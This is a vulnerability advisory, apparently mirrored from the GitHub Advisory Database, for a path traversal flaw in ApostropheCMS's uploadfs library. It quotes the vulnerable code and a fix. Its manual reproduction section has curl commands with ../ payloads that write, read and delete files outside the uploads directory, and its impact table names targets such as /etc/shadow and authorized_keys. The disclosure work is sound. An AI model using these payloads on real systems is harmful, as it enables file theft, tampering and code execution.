uploadfs
Affected
- introduced
0, fixed1.28.0(semver)
Fixed versions
1.28.0
Fix
- Fixed version
1.28.0npm install [email protected]
Advisory
Also known as: CVE-2026-113651
ApostropheCMS: Path traversal in uploadfs
Summary
The uploadfs library's local storage backend does not validate or sanitize user-supplied paths. The prefixPath() helper only strips double slashes (//) and the backend performs direct string concatenation (uploadsPath + path). An attacker can inject ../ sequences to escape the intended uploads directory, resulting in arbitrary file read, write, and delete on the host filesystem.
---
Details
Root Causepackages/uploadfs/uploadfs.js:652-655
https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/uploadfs.js#L652-L655
function prefixPath(path) {
// Resolve any double // that results from the prefix
return (self.prefix + path).replace(/\/\//g, '/');
}
packages/uploadfs/lib/storage/local.js
https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L92-L95
https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L102-L104
https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L106-L108
copyIn: function(localPath, path, options, callback) {
const uploadPath = uploadsPath + path; // [VULNERABLE]
return copyFile(localPath, uploadPath, callback);
},
streamOut: function(path, options) {
return fs.createReadStream(uploadsPath + path); // [VULNERABLE]
},
remove: function(path, callback) {
const uploadPath = uploadsPath + path; // [VULNERABLE]
fs.unlink(uploadPath, callback);
prefixPath() does not normalize paths or reject .././app/uploads/../../../tmp/pwned.txt → /tmp/pwned.txt.---
Proof of Concept (PoC)
Here is the poc files
https://drive.proton.me/urls/AKY4V5S0JR#Vw6XJdVCZafk
Build and run
docker load < apostrophe-uploadfs-poc.tar
docker run -d -p 3000:3000 --name uploadfs-poc apostrophe-uploadfs-poc
python3 exploit.py
Expected output
[UPLOAD] Status: 200 | Body: Uploaded to ../../../tmp/pwned.txt
[READ]
Status: 200| Body: You have been pwned!
[+] Vulnerability confirmed: arbitrary file write/read/delete via path traversal.
<img width="885" height="171" alt="Screenshot 2026-07-22 at 08 57 46" src="https://github.com/user-attachments/assets/1b3ab5d5-43e4-4a81-8d19-c2270da072ae" />
Manual reproduction
# Write outside uploads directory
curl -X POST http://localhost:3000/upload \
-F "path=../../../tmp/backdoor.txt" \
-F "file=@-;filename=backdoor.txt" <<< "malicious content"
# Read it back
curl "http://localhost:3000/read?path=../../../tmp/backdoor.txt"
# Delete it
curl -X DELETE "http://localhost:3000/remove?path=../../../tmp/backdoor.txt"
<img width="1004" height="114" alt="Screenshot 2026-07-22 at 08 58 36" src="https://github.com/user-attachments/assets/26b59a98-1834-4f00-8e18-c869812ddd58" />
---
Impact
| Capability | Risk |
|------------|------|
| Arbitrary File Write | Write to /etc/cron.d/, .ssh/authorized_keys, or webroot files → Remote Code Execution |
| Arbitrary File Read | Exfiltrate /etc/shadow, application configs, database credentials |
| Arbitrary File Delete | Destroy system or application files → Denial of Service |
---
Remediation
Add path containment validation inside uploadfs (and every storage backend) before any filesystem operation:
const path = require('path');
function safePath(base, target) {
const resolved = path.resolve(base, target);
if (!resolved.startsWith(path.resolve(base) + path.sep)) {
throw new Error('Path traversal blocked: target is outside the intended directory');
}
return resolved;
}Low Basis: The source's own band: LOW
0, fixed 1.28.0 (semver)1.28.0
1.28.0npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0